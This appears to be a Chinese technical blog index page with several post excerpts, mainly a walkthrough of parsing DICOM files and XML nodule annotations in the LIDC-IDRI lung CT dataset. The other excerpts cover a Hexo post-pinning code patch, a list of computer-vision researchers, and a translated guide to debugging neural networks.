更多内容请关注官网和GutHub项目README。

wevi

官网：wevi: word embedding visual inspector
GitHub项目：https://github.com/ronxin/wevi

具体参考：wevi: Word Embedding Visual Inspector

CNNVis

文章来源：Towards Better Analysis of Deep Convolutional Neural Networks arxiv.org/abs/1604.07043

具体参见：能帮你更好理解分析深度卷积神经网络，今天要解读的是一款新型可视化工具——CNNVis，看完就能用！

摘要： 深度卷积神经网络（CNNs）在许多模式识别任务中取得了很大的性能突破， 然而高质量深度模型的发展依赖于大量的尝试，这是由于没有很好的理解深度模型是怎么工作的，在本文中，提出了一个可视化分析系统CNNVis，帮助机器学习专家更好的理解、分析、设计深度卷积神经网络。

（ 未经授权禁止转载，转载请联系作者并注明出处，谢谢！）

• 文章首发于简书：LIDC-IDRI肺结节公开数据集Dicom和XML标注详解，现在搬运至博客。

一、数据来源

　　数据集采用为 LIDC-IDRI (The Lung Image Database Consortium)，该数据集由胸部医学图像文件(如CT、X光片)和对应的诊断结果病变标注组成。该数据是由美国国家癌症研究所(National Cancer Institute)发起收集的，目的是为了研究高危人群早期癌症检测。

　　该数据集中，共收录了1018个研究实例。对于每个实例中的图像，都由4位经验丰富的胸部放射科医师进行两阶段的诊断标注。在第一阶段，每位医师分别独立诊断并标注病患位置，其中会标注三中类别：1) >=3mm的结节，2) <3mm的结节，3) >=3mm的非结节（官网描述： “nodule > or =3 mm”， “nodule <3 mm"，="" and="" "non-nodule=""> or =3 mm”，详见 Summary）。在随后的第二阶段中，各位医师都分别独立的复审其他三位医师的标注，并给出自己最终的诊断结果。这样的两阶段标注可以在避免forced consensus的前提下，尽可能完整的标注所有结果。

二、解析结果

1.图像矩阵像素信息

　　模块处理的数据为slicer * rows * cols大小的三维矩阵D。D中第z个切片y行x列的元素对应的位置为：(z * rows *cols+ y * cols + x) * sizeof(data_type) 。其中rows表示图像的行数，cols表示图像的列数，默认均为512；data_type代表数据类型，默认为short。

eg: 对于病例LIDC-IDRI-0001，即为133*512*512的矩阵，一共133张切片，每张大小512*512，依次按顺序存入二进制文件，每个像素大小为2字节（对应short类型）。

2.结节区域类型标注信息

第一行： slicers rows cols data_type pixel_space_x pixel_space_y slice_thickness

• slicer ： 切片个数；
• rows ： 矩阵行数，默认512；
• cols ： 矩阵列数，默认512；
• data_type ： 数据类型标签。为以下枚举类型中的一种（默认SHORT_TYPE，4）：enum DATA_TYPE {CHAR_TYPE，UCHAR_TYPE, INT_TYPE，UINT_TYPE，SHORT_TYPE，USHORT_TYPE，FLOAT_TYPE，DOUBLE_TYPE }；
• pixel_space_x ： x线列扫描步长，单位：毫米；
• pixel_space_y ： x线行扫描步长，单位：毫米；
• slice_thickness ： z轴扫描步长(即切片厚度)，单位：毫米。

其他行： type num x1 y1 z1 x2 y2 z2 … xi yi zi … xn yn zn

• type： “1”表示”nodules”， “2”表示”small_nodules”，”3”表示”non_nodules”；
• num：该行x,y,z数字的个数（由于一个点有三个坐标，所以num为3的倍数）；
• Xi, Yi, Zi：该肺结节第i个点的空间坐标，Zi为切片序号。

三、数据分析

文件结构

目前测试一共1012个病例数据，每个病例文件夹对应结构：

LIDC-IDRI-XXXX / Study Instance UID / Series Instance UID / *.dcm， *.xml

• XXXX ：从0000到1012；
• Study Instance UID ：每个病例对应的检查实例号；
• Series Instance UID ：不同检查对应的序列实例号；
• *.dcm ，*.xml ：分别对应于每一张dcm切片和xml标注文件。

特例 ：LIDC-IDRI-0365号病例存在两份序列检查，分别有对应的dcm和xml文件，如下：

python处理Dicom数据

通过pip或者anaconda安装pydicom模块，该模块是python专门用来处理dicom格式文件的库。

通过dicom.read_file()可以直接获取dicom文件所有信息，如下：

1
2

>>> import dicom
>>> ds = dicom.read_file("test.dcm") # (test.dcm is in the testfile)

实际操作LIDC-IDRI-0001（GE MEDICAL SYSTEM公司）中000001.dcm，打印出来结果如下（包含各种tag，具体详见 DICOM的常用Tag分类和说明）：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92

>>> import dicom
>>> f = dicom.read_file('000001.dcm')
>>> print f
(0008, 0005) Specific Character Set              CS: 'ISO_IR 100'
(0008, 0008) Image Type                          CS: ['ORIGINAL', 'PRIMARY', 'AXIAL']
(0008, 0016) SOP Class UID                       UI: CT Image Storage
(0008, 0018) SOP Instance UID                    UI: 1.3.6.1.4.1.14519.5.2.1.6279.6001.143451261327128179989900675595
(0008, 0020) Study Date                          DA: '20000101'
(0008, 0021) Series Date                         DA: '20000101'
(0008, 0022) Acquisition Date                    DA: '20000101'
(0008, 0023) Content Date                        DA: '20000101'
(0008, 0024) Overlay Date                        DA: '20000101'
(0008, 0025) Curve Date                          DA: '20000101'
(0008, 002a) Acquisition DateTime                DT: '20000101'
(0008, 0030) Study Time                          TM: ''
(0008, 0032) Acquisition Time                    TM: ''
(0008, 0033) Content Time                        TM: ''
(0008, 0050) Accession Number                    SH: '2819497684894126'
(0008, 0060) Modality                            CS: 'CT'
(0008, 0070) Manufacturer                        LO: 'GE MEDICAL SYSTEMS'
(0008, 0090) Referring Physician Name            PN: ''
(0008, 1090) Manufacturer Model Name             LO: 'LightSpeed Plus'
(0008, 1155) Referenced SOP Instance UID         UI: 1.3.6.1.4.1.14519.5.2.1.6279.6001.675906998158803995297223798692
(0010, 0010) Patient Name                        PN: ''
(0010, 0020) Patient ID                          LO: 'LIDC-IDRI-0001'
(0010, 0030) Patient Birth Date                  DA: ''
(0010, 0040) Patient Sex                         CS: ''
(0010, 1010) Patient Age                         AS: ''
(0010, 21d0) Last Menstrual Date                 DA: '20000101'
(0012, 0062) Patient Identity Removed            CS: 'YES'
(0012, 0063) De-identification Method            LO: 'DCM:113100/113105/113107/113108/113109/113111'
(0013, 0010) Private Creator                     LO: 'CTP'
(0013, 1010) Private tag data                    LO: 'LIDC-IDRI'
(0013, 1013) Private tag data                    LO: '62796001'
(0018, 0010) Contrast/Bolus Agent                LO: 'IV'
(0018, 0015) Body Part Examined                  CS: 'CHEST'
(0018, 0022) Scan Options                        CS: 'HELICAL MODE'
(0018, 0050) Slice Thickness                     DS: '2.500000'
(0018, 0060) KVP                                 DS: '120'
(0018, 0090) Data Collection Diameter            DS: '500.000000'
(0018, 1020) Software Version(s)                 LO: 'LightSpeedApps2.4.2_H2.4M5'
(0018, 1100) Reconstruction Diameter             DS: '360.000000'
(0018, 1110) Distance Source to Detector         DS: '949.075012'
(0018, 1111) Distance Source to Patient          DS: '541.000000'
(0018, 1120) Gantry/Detector Tilt                DS: '0.000000'
(0018, 1130) Table Height                        DS: '144.399994'
(0018, 1140) Rotation Direction                  CS: 'CW'
(0018, 1150) Exposure Time                       IS: '570'
(0018, 1151) X-Ray Tube Current                  IS: '400'
(0018, 1152) Exposure                            IS: '4684'
(0018, 1160) Filter Type                         SH: 'BODY FILTER'
(0018, 1170) Generator Power                     IS: '48000'
(0018, 1190) Focal Spot(s)                       DS: '1.200000'
(0018, 1210) Convolution Kernel                  SH: 'STANDARD'
(0018, 5100) Patient Position                    CS: 'FFS'
(0020, 000d) Study Instance UID                  UI: 1.3.6.1.4.1.14519.5.2.1.6279.6001.298806137288633453246975630178
(0020, 000e) Series Instance UID                 UI: 1.3.6.1.4.1.14519.5.2.1.6279.6001.179049373636438705059720603192
(0020, 0010) Study ID                            SH: ''
(0020, 0011) Series Number                       IS: '3000566'
(0020, 0013) Instance Number                     IS: '80'
(0020, 0032) Image Position (Patient)            DS: ['-166.000000', '-171.699997', '-207.500000']
(0020, 0037) Image Orientation (Patient)         DS: ['1.000000', '0.000000', '0.000000', '0.000000', '1.000000', '0.000000']
(0020, 0052) Frame of Reference UID              UI: 1.3.6.1.4.1.14519.5.2.1.6279.6001.229925374658226729607867499499
(0020, 1040) Position Reference Indicator        LO: 'SN'
(0020, 1041) Slice Location                      DS: '-207.500000'
(0028, 0002) Samples per Pixel                   US: 1
(0028, 0004) Photometric Interpretation          CS: 'MONOCHROME2'
(0028, 0010) Rows                                US: 512
(0028, 0011) Columns                             US: 512
(0028, 0030) Pixel Spacing                       DS: ['0.703125', '0.703125']
(0028, 0100) Bits Allocated                      US: 16
(0028, 0101) Bits Stored                         US: 16
(0028, 0102) High Bit                            US: 15
(0028, 0103) Pixel Representation                US: 1
(0028, 0120) Pixel Padding Value                 US: 63536
(0028, 0303) Longitudinal Temporal Information M CS: 'MODIFIED'
(0028, 1050) Window Center                       DS: '-600'
(0028, 1051) Window Width                        DS: '1600'
(0028, 1052) Rescale Intercept                   DS: '-1024'
(0028, 1053) Rescale Slope                       DS: '1'
(0038, 0020) Admitting Date                      DA: '20000101'
(0040, 0002) Scheduled Procedure Step Start Date DA: '20000101'
(0040, 0004) Scheduled Procedure Step End Date   DA: '20000101'
(0040, 0244) Performed Procedure Step Start Date DA: '20000101'
(0040, 2016) Placer Order Number / Imaging Servi LO: ''
(0040, 2017) Filler Order Number / Imaging Servi LO: ''
(0040, a075) Verifying Observer Name             PN: 'Removed by CTP'
(0040, a123) Person Name                         PN: 'Removed by CTP'
(0040, a124) UID                                 UI: 1.3.6.1.4.1.14519.5.2.1.6279.6001.335419887712224178340067932923
(0070, 0084) Content Creator's Name              PN: ''
(0088, 0140) Storage Media File-set UID          UI: 1.3.6.1.4.1.14519.5.2.1.6279.6001.211790042620307056609660772296
(7fe0, 0010) Pixel Data                          OW: Array of 524288 bytes

想要访问任何信息都可以通过前面的tag进行获取,一些特殊标记也可以通过keyword获取，如下：

1
2
3
4
5
6
7
8
9

>>> f[0x0008,0x0018].value
'1.3.6.1.4.1.14519.5.2.1.6279.6001.143451261327128179989900675595'
>>> f[0x0013,0x1010].value
'LIDC-IDRI'
>>> f.PatientName
''
>>> f.SeriesNumber
'3000566'
>>>

本次实验中主要会使用到tag (0x0008, 0x0018)获取SOP_ID，以唯一区别每一张图，然后使用tag (0x7fe0, 0x0010)获取像素信息pixel_array，一张CT图像有 512x512 个像素点，在dicom文件中每个像素由2字节表示，所以每张图片约512KB大小。图像中每个像素都是整数，专业名称为 Hounsfield scale 或 CT Number，是描述物质的放射密度的量化值(参考Wikipedia)。

另外，不同公司生产的仪器包含信息略有不同，比如LIDC-IDRI-0069（TOSHIBA公司）中000001.dcm如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93

(0008, 0008) Image Type                          CS: ['ORIGINAL', 'PRIMARY', 'AXIAL']
(0008, 0016) SOP Class UID                       UI: CT Image Storage
(0008, 0018) SOP Instance UID                    UI: 1.3.6.1.4.1.14519.5.2.1.6279.6001.263800607656124864093833884216
(0008, 0020) Study Date                          DA: '20000101'
(0008, 0021) Series Date                         DA: '20000101'
(0008, 0022) Acquisition Date                    DA: '20000101'
(0008, 0023) Content Date                        DA: '20000101'
(0008, 0024) Overlay Date                        DA: '20000101'
(0008, 0025) Curve Date                          DA: '20000101'
(0008, 002a) Acquisition DateTime                DT: '20000101'
(0008, 0030) Study Time                          TM: ''
(0008, 0032) Acquisition Time                    TM: '185549.500'
(0008, 0033) Content Time                        TM: '185605.277'
(0008, 0050) Accession Number                    SH: '2819497684894126'
(0008, 0060) Modality                            CS: 'CT'
(0008, 0070) Manufacturer                        LO: 'TOSHIBA'
(0008, 0090) Referring Physician Name            PN: ''
(0008, 1090) Manufacturer Model Name             LO: 'Aquilion'
(0010, 0010) Patient Name                        PN: ''
(0010, 0020) Patient ID                          LO: 'LIDC-IDRI-0069'
(0010, 0030) Patient Birth Date                  DA: ''
(0010, 0040) Patient Sex                         CS: 'M'
(0010, 1010) Patient Age                         AS: '051Y'
(0010, 2160) Ethnic Group                        SH: 'white-ns'
(0010, 21c0) Pregnancy Status                    US: 4
(0010, 21d0) Last Menstrual Date                 DA: '20000101'
(0012, 0062) Patient Identity Removed            CS: 'YES'
(0012, 0063) De-identification Method            LO: 'DCM:113100/113105/113107/113108/113109/113111'
(0013, 0010) Private Creator                     OB: 'CTP '
(0013, 1010) Private tag data                    OB: 'LIDC-IDRI '
(0013, 1013) Private tag data                    OB: '62796001'
(0018, 0010) Contrast/Bolus Agent                LO: '100ccs_OMNI-350'
(0018, 0015) Body Part Examined                  CS: 'CHEST'
(0018, 0022) Scan Options                        CS: 'HELICAL_CT'
(0018, 0050) Slice Thickness                     DS: '2.0'
(0018, 0060) KVP                                 DS: '135'
(0018, 0090) Data Collection Diameter            DS: '400.00'
(0018, 1020) Software Version(s)                 LO: 'V2.04ER001'
(0018, 1100) Reconstruction Diameter             DS: '379.687'
(0018, 1120) Gantry/Detector Tilt                DS: '+0.0'
(0018, 1130) Table Height                        DS: '+48.00'
(0018, 1140) Rotation Direction                  CS: 'CW'
(0018, 1150) Exposure Time                       IS: '500'
(0018, 1151) X-Ray Tube Current                  IS: '260'
(0018, 1152) Exposure                            IS: '130'
(0018, 1210) Convolution Kernel                  SH: 'FC10'
(0018, 5100) Patient Position                    CS: 'FFS'
(0020, 000d) Study Instance UID                  UI: 1.3.6.1.4.1.14519.5.2.1.6279.6001.303241414168367763244410429787
(0020, 000e) Series Instance UID                 UI: 1.3.6.1.4.1.14519.5.2.1.6279.6001.131939324905446238286154504249
(0020, 0010) Study ID                            SH: ''
(0020, 0011) Series Number                       IS: '3079'
(0020, 0012) Acquisition Number                  IS: '5'
(0020, 0013) Instance Number                     IS: '134'
(0020, 0020) Patient Orientation                 CS: ['L', 'P']
(0020, 0032) Image Position (Patient)            DS: ['-184.375000', '-188.281200', '1292.500000']
(0020, 0037) Image Orientation (Patient)         DS: ['1.000000', '0.000000', '0.000000', '0.000000', '1.000000', '0.000000']
(0020, 0052) Frame of Reference UID              UI: 1.3.6.1.4.1.14519.5.2.1.6279.6001.228313061349684266844487315959
(0020, 1040) Position Reference Indicator        LO: ''
(0020, 1041) Slice Location                      DS: '+324.00'
(0028, 0002) Samples per Pixel                   US: 1
(0028, 0004) Photometric Interpretation          CS: 'MONOCHROME2'
(0028, 0010) Rows                                US: 512
(0028, 0011) Columns                             US: 512
(0028, 0030) Pixel Spacing                       DS: ['0.741', '0.741']
(0028, 0100) Bits Allocated                      US: 16
(0028, 0101) Bits Stored                         US: 16
(0028, 0102) High Bit                            US: 15
(0028, 0103) Pixel Representation                US: 1
(0028, 0303) Longitudinal Temporal Information M CS: 'MODIFIED'
(0028, 1050) Window Center                       DS: '-500'
(0028, 1051) Window Width                        DS: '2000'
(0028, 1052) Rescale Intercept                   DS: '0'
(0028, 1053) Rescale Slope                       DS: '1'
(0032, 000a) Study Status ID                     CS: ''
(0032, 1000) Scheduled Study Start Date          DA: ''
(0032, 1001) Scheduled Study Start Time          TM: ''
(0032, 1060) Requested Procedure Description     LO: ''
(0032, 1064)  Requested Procedure Code Sequence   1 item(s) ----
   (0008, 0104) Code Meaning                        LO: ''
   ---------
(0038, 0020) Admitting Date                      DA: '20000101'
(0040, 0002) Scheduled Procedure Step Start Date DA: '20000101'
(0040, 0003) Scheduled Procedure Step Start Time TM: ''
(0040, 0004) Scheduled Procedure Step End Date   DA: '20000101'
(0040, 0005) Scheduled Procedure Step End Time   TM: ''
(0040, 0244) Performed Procedure Step Start Date DA: '20000101'
(0040, 0245) Performed Procedure Step Start Time TM: ''
(0040, 2016) Placer Order Number / Imaging Servi LO: ''
(0040, 2017) Filler Order Number / Imaging Servi LO: ''
(0040, a075) Verifying Observer Name             PN: 'Removed by CTP'
(0040, a123) Person Name                         PN: 'Removed by CTP'
(0070, 0084) Content Creator Name                PN: ''
(7fe0, 0010) Pixel Data                          OB or OW: Array of 524288 bytes

可以看到不同公司所做的检查存储信息的格式不太一样，但一些主要信息都还是有的：

• SOP Instance UID：用于唯一区分每一张dcm切片，其中Study Instance UID，Series Instance UID上面已经提过，分别用于区分检查号和一次检查对应序列号。
• Modality：表示检查模态，有MRI，CT，CR，DR等；
• Manufacturer：表示制造商，经分析共有”GE MEDICAL SYSTEMS”（最多）， “SIEMENS”， “TOSHIBA”， “Philips”四家制造商提供数据；
• Slice Thickness：表示z方向切片厚度，经统计有GE MEDICAL SYSTEMS：2.50， 1.25，SIEMENS：0.75，1.0， 2.0，3.0，5.0，TOSHIBA：2.0， 3.0， Philips：2.0，1.0，1.5，0.9；
• Instance Number：表示一组切片的序列号，这个可以直接用来将切面排序，在实际CT扫描时，是从胸部靠近头的一侧开始扫描，一次扫描到肺部最下，得到的instance number依次增加，对应的Image Position中的z依次减小，而对应的Slice Location是相对位置，绝大多数情况与Image Positon中的z值相同，依次减小，部分不同公司，如TOSHIBA则Slice Location可能与Image Position中的z不同，由于是相对位置，其Slice Location值为正，并且和Instance Number的变化趋势相同。为了在实际分析是不出现错误，不能仅仅采用Slice Location来对切片进行排序，而应使用Instance Number或者Image Position中的z，此次实验使用的是Instance Number。
• Image Position：表示图像的左上角在空间坐标系中的x,y,z坐标，单位是毫米，如果在检查中，则指该序列中第一张影像左上角坐标；
• Slice Location：为切片z轴相对位置，单位毫米，大多情况与Image Position中的z相同，但TOSHIBA公司提供的数据里面不同，所以不能仅仅根据这个值来对所有切片进行统一排序；
• Photometric Interpretation：光度计的解释,对于CT图像，用两个枚举值MONOCHROME1，MONOCHROME2.用来判断图像是否是彩色的，MONOCHROME1/2是灰度图，RGB则是真彩色图，还有其他；
• Pixel Spacing：表示像素中心间的物理间距；
• Bits Allocated：表示存储每一位像素时分配位数，Bits Stored 表示存储每一位像素所用位数；
• Pixel Representation：表示像素数据的表现类型:这是一个枚举值，分别为十六进制数0000和0001，0000H = 无符号整数，0001H = 2的补码。

XML标注信息说明

具体分析可以参见本人简书：LIDC-IDRI肺结节Dicom数据集解析与总结。

分析之后回生成一个pkl文件，存储有每张图里面所有结节信息，包含三种结节，分别是small_nodules，nodules，non_nodules，每一种结节信息以list存储，list中每一项是一个结节块，具体结构是一个字典，包含两个键’centroid’和’pixels’，分别是结节中心点坐标和具体像素信息坐标，坐标以点对(x,y)的形式存储。

分析得到的pkl部分结果展示如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

'1.3.6.1.4.1.14519.5.2.1.6279.6001.193784360214506863621989507827': {'small_nodules': [],
 'nodules': [],
 'non_nodules': [{'centroid': (399, 211), 'pixels': [(399, 211)]}]},
'1.3.6.1.4.1.14519.5.2.1.6279.6001.980992723094835143194725792701': {'small_nodules': [],
 'nodules': [],
 'non_nodules': [{'centroid': (212, 157), 'pixels': [(212, 157)]},   {'centroid': (213, 157), 'pixels': [(213, 157)]}]},
'1.3.6.1.4.1.14519.5.2.1.6279.6001.315606855383999143703852453142': {'small_nodules': [{'centroid': [403, 272], 'pixels': [[403, 272]]}, {'centroid': [392, 317], 'pixels': [[392, 317]]}, {'centroid': [392, 317], 'pixels': [[392, 317]]}, {'centroid': [404, 273], 'pixels': [[404, 273]]}, {'centroid': [392, 316], 'pixels': [[392, 316]]}, {'centroid': [403, 272], 'pixels': [[403, 272]]}],
'nodules': [],
'non_nodules': [{'centroid': (109, 291), 'pixels': [(109, 291)]}, {'centroid': (109, 291), 'pixels': [(109, 291)]}]},
'1.3.6.1.4.1.14519.5.2.1.6279.6001.257699431144088065312137256223': {'small_nodules': [],
'nodules': [{'centroid': (317.0, 365.5), 'pixels': [[311, 361], [310, 362], [309, 362], [308, 363], [307, 364], [307, 365], [307, 366], [307, 367], [307, 368], [307, 369], [308, 369], [309, 369], [310, 370], [311, 370], [312, 370], [313, 370], [314, 370], [315, 369], [316, 369], [317, 369], [318, 368], [319, 368], [320, 369], [321, 369], [322, 369], [323, 369], [324, 369], [325, 369], [326, 369], [326, 368], [326, 367], [327, 366], [326, 365], [325, 364], [324, 363], [323, 363], [322, 363], [321, 363], [320, 363], [319, 364], [318, 364], [317, 365], [316, 366], [315, 365], [315, 364], [314, 363], [314, 362], [313, 361], [312, 361], [311, 361]]}],
'non_nodules': []},
'1.3.6.1.4.1.14519.5.2.1.6279.6001.313544823773855097029348077255': {'small_nodules': [{'centroid': [187, 166], 'pixels': [[187, 166]]}, {'centroid': [189, 167], 'pixels': [[189, 167]]}, {'centroid': [188, 166], 'pixels': [[188, 166]]}],
'nodules': [],
'non_nodules': []}

分析所有1012个病人XML标注信息，存在如下问题：

医生标注信息可能有误（个人觉得）!!!!!!

对所有病例跑完标注脚本（/home/zhwhong/API/get_txt.sh）时，在生成的log日志（/baina/sda1/data/lidc_matrix/get_txt.log）里面发现有问题的病例有四个，分别是LIDC-IDRI-0017，LIDC-IDRI-0365，LIDC-IDRI-0566，LIDC-IDRI-0659。

• 【LIDC-IDRI-0017】

我们找到这个不存在的sop_uid，为”1.3.6.1.4.1.14519.5.2.1.6279.6001.305973183883758685859912046949”，然后找到病例17对应的XML文件，看一下医生的标注信息，带有这个sop_uid的标注有两个，分别是医师2和医师4。我们看一下他们的标注：

医师2：

医师4：

对，有两个医师都标注了这个sop_uid，并且对应的ImageZposition为 -82.75，我们再在XML文件中找到ImageZposition为 -82.75 的另外两个医师是否有标注，结果是有，但是另外两个医师标注的 -82.75 的位置对应的切片的sop_uid和医师2,4不同，分别如下：

医师1：

医师3：

这就很尴尬了，同一个ImageZpositon，但是却标了不同的sop_uid，于是追根溯源，看一下到底是怎么回事，自己写脚本遍历LIDC-IDRI-0017中所有dcm切片，打印出所有切片sop_uid，作对比，然后发现在所有的结果中，根本没有找到医师2,医师4标记的那个sop_uid，而医师1，医师3的标注是存在的，如下：

医师2、4标记的sop_uid找不到：

医师1,3标记的找到了：

所以初步认定，LIDC-IDRI-0017病例中，医师2和医师4存在两处错误的标注信息（sop_uid错误）

• 【LIDC-IDRI-0365】

LIDC-IDRI-0365中存在两份检查序列，分别是：
1.3.6.1.4.1.14519.5.2.1.6279.6001.212341120080087350703610584139 / 1.3.6.1.4.1.14519.5.2.1.6279.6001.207544473852086582434957174616 和
1.3.6.1.4.1.14519.5.2.1.6279.6001.216207548522622026268886920069 / 1.3.6.1.4.1.14519.5.2.1.6279.6001.802846969823720586279982179144，
存在问题的是第二份序列，问题同17号病例类似，如下：

找到医生标注如下（四位医师标注相同）：

同样遍历LIDC-IDRI-0365中第二份序列，找不到对应标记的切片sop_uid：

• 【LIDC-IDRI-0566】

存在和上面相同的问题：

• 【LIDC-IDRI-0659】

(文章首发于简书：LIDC-IDRI肺结节公开数据集Dicom和XML标注详解，现在搬运至博客。转载请联系作者并注明出处，谢谢！)

本文整理、归纳了自己学习Deep Learning，Computer Vision方向看到的相关研究机构以及各位大佬们的信息。打算从事这个行业或者刚入门的朋友可以多关注、多了解一些CV的具体应用。搞研究的朋友也可以从中了解到很多牛人的研究动态、招生情况等。

有句话说得好，Sharing changes the world!，知识只有分享才能产生更大的价值，希望能对朋友们有所帮助。

研究机构

• Google Research
• Research at Google - Google+

• Facebook AI Research

• Microsoft Research – Emerging Technology, Computer, and Software Research
• Visual Computing - Microsoft Research
• 微软亚洲研究院 - 梦想绽放，共创未来

• CVPapers - Computer Vision Resource

• Stanford Vision Lab; Prof. Fei-Fei Li

• CMU - The Computer Vision Homepage

• UCB - UC Berkeley Computer Vision Group

• The Berkeley Artificial Intelligence Research (BAIR) Lab

大佬们

• Yann LeCun - New York University & Facebook AI Research Director
• Yoshua Bengio - Full Professor at Université de Montréal
• Geoffrey Hinton - University of Toronto Professor & Google Engineering Fellow
• Alex Krizhevsky - Currently working at Google
• Ilya Sutskever - Co-founder and Research Director of OpenAI
• Ian Goodfellow - Staff Research Scientist at Google Brain | goodfeli-github | dblp: Ian J. Goodfellow
• Andrew Ng - Baidu VP and Chief Scientist(pre)，Coursera Co-Chairman and Co-Founder，Adjunct Professor at Stanford University
• Jeffrey Dean - Google Senior Fellow in the Research Group
• Fei-Fei Li - Director of the Stanford Artificial Intelligence Lab and the Stanford Vision Lab
• Andrej Karpathy - Research Scientist at OpenAI | Blog | karpathy-github
• Justin Johnson - Ph.D student in the Stanford Vision Lab | jcjohnson-github
• Christopher Olah - Research Scientist at Google Brain | colah’s blog | Chris Olah CV | colah-github
• Kaiming He - Facebook AI Research，Lead Researcher at MSRA pre.
• Ross Girshick (rbg) - Facebook AI Research
• Piotr Dollár - Facebook AI Research | pdollar-github
• Yangqing Jia - Research Scientist at Facebook & Caffe Author | CV
• Mu Li - Ph.D at CMU & MXNet Author | mli-github | weibo
• Georgia Gkioxari - UC Berkeley | gkioxari-github
• Bolei Zhou - MIT
• Xiaogang Wang - Associate Professor of Electronic Engineering，the Chinese University of Hong Kong
• CVPR’17 Tutorial on Deep Learning for Objects and Scenes

(持续更新中……)

More Reference

• 计算机视觉领域的一些牛人博客，超有实力的研究机构
• Awesome Deep Learning -> Researchers 100人

Hexo默认只提供了按发布日期的排序，只好网上找了些资料修改。

原理：在Hexo生成首页HTML时，将top值高的文章排在前面，达到置顶功能。

修改Hexo文件夹下的node_modules/hexo-generator-index/lib/generator.js，在生成文章之前进行文章top值排序。

需添加的代码：

1
2
3
4
5
6
7
8
9
10
11
12
13

posts.data = posts.data.sort(function(a, b) {
    if(a.top && b.top) { // 两篇文章top都有定义
        if(a.top == b.top) return b.date - a.date; // 若top值一样则按照文章日期降序排
        else return b.top - a.top; // 否则按照top值降序排
    }
    else if(a.top && !b.top) { // 以下是只有一篇文章top有定义，那么将有top的排在前面（这里用异或操作居然不行233）
        return -1;
    }
    else if(!a.top && b.top) {
        return 1;
    }
    else return b.date - a.date; // 都没定义按照文章日期降序排
});

其中涉及Javascript的比较函数：

1
2
3

cmp(var a, var b) {
    return  a - b; // 升序，降序的话就 b - a
}

修改完成后，只需要在front-matter中设置需要置顶文章的top值，将会根据top值大小来选择置顶顺序top值越大越靠前。需要注意的是，这个文件不是主题的一部分，也不是Git管理的，备份的时候比较容易忽略。

以下是最终的generator.js内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

'use strict';
var pagination = require('hexo-pagination');
module.exports = function(locals) {
  var config = this.config;
  var posts = locals.posts.sort(config.index_generator.order_by);
  posts.data = posts.data.sort(function(a, b) {
      if(a.top && b.top) {
          if(a.top == b.top) return b.date - a.date;
          else return b.top - a.top;
      }
      else if(a.top && !b.top) {
          return -1;
      }
      else if(!a.top && b.top) {
          return 1;
      }
      else return b.date - a.date;
  });
  var paginationDir = config.pagination_dir || 'page';
  return pagination('', posts, {
    perPage: config.index_generator.per_page,
    layout: ['index', 'archive'],
    format: paginationDir + '/%d/',
    data: {
      __index: true
    }
  });
};

• Reference：解决Hexo置顶问题

• 本文译自：Russell Stewart’s Blog -> Introduction to debugging neural networks

题目：调试神经网络简介

以下建议主要针对神经网络的初学者，它是基于我的经验对工业界和斯坦福的神经网络新手给出的建议。神经网基本上比大多数程序更难调试，因为大多数神经网络错误不会导致类型错误或运行时间错误。他们只是导致神经网络难以收敛。特别是当你刚接触这个的时候，它可能会让你非常沮丧！但是一个有经验的神经网络训练者将能够系统地克服这些困难，尽管存在着大量似是而非的错误消息：性能错误：你的神经网络没有训练好。对于缺乏经验的人来说，这种信息是令人生畏的。但对有经验的，这是一个非常好的错误信息。这意味着样板代码已经偏离了正确道路，是时候去深挖一下原因了！

如何应对NaN

到目前为止，我从学生那里得到的最常见的第一个问题是，“为什么我出现了 NaNs ？”。有时候，这个问题的答案很复杂。但大多数情况是，NaNs 在前100轮迭代中就出现了，这时候这个答案就非常简单：你的学习率设置的太高了。当学习率非常高时，在训练的前100轮迭代中就会出现NaNs。尝试不断的把学习率除以3，直到在前100轮迭代中不再出现NaNs。一旦这样做起作用了，你就会得到一个很好的初始学习率。根据我的经验，最好的有效学习率一般在你得到NaNs的学习率的1-10倍以下。

如果你是在超过100轮迭代之后才出现的NaNs，还有2个其他的常见原因。 1） 如果你训练的是RNN，请确保使用的是“梯度剪裁（clip gradient ）”，这可以把全局的梯度二范数(L2)限制在一定的范围内。RNN倾向于在训练早期产生梯度，其中10%或者更少的batch会出现学习尖峰，这些尖峰上的梯度值非常大。如果没有限制幅度，这些尖峰就可能导致NaNs。 2） 如果你自己编写了任何自定义的layer，那么这个问题很可能是由这些自定义的layer中一些除零错误引发的。还有一个众所周知的产生NaNs的layer就是softmax层。 softmax的计算在分子和分母中都含有指数函数exp(x)，当inf除以inf时就可能会产生NaNs。所以要确保你使用的是一个稳定版本的softmax实现。

当神经网络不再学习的时候怎么办

当你不再碰到NaNs的时候，很可能就会遇到这样一种情况，你的网络顺利地训练了几千轮，但是训练的loss值却在前几百个回合后不再减小。如果你是初次构建代码库的话，基本上不会说需要等待超过2000轮迭代。这不是因为所有网络都能在2000次迭代内开始学习，而是因为你在编码中引入bug的几率很高，与其等待长时间的迭代，不如早早的进入调试模式。现在你应该不断缩小问题的范围，直到你的网络可以在2000次迭代内开始学习。幸运的是，有2个不错的维度来降低复杂度：

1）把训练集的样本量减小到10。 任何一个可用的网络通常都能在几百次迭代后过拟合十个样本。但是很多编码bug则会阻止这种情况发生。如果你的网络仍然不能过度拟合训练集的10个样本，请再次确认数据和标签是否是正确对应的。尝试将batch size设为1来检查batch计算中的错误。在代码中加入一些log输出以确保是以你期望的方式运行的。一般来说，通过暴力排查总会找到这些错误。一旦网络可以拟合10个样本了，继续尝试拟合100个。如果现在可以正常训练了但不如预期，则可以进入下一步了。

